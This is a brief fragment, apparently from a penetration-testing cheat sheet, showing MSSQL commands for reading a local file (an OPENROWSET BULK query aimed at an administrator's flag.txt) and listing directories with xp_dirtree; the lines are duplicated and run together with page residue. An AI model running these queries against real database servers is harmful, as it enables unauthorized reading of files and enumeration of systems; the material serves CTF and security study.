read-file
Read local file
SELECT * FROM OPENROWSET(BULK N'C:/Users/administrator/Desktop/flag.txt', SINGLE_CLOB) AS Contents
GOReading system files
xp_dirtree C:\Last updated
SELECT * FROM OPENROWSET(BULK N'C:/Users/administrator/Desktop/flag.txt', SINGLE_CLOB) AS Contents
GOxp_dirtree C:\Last updated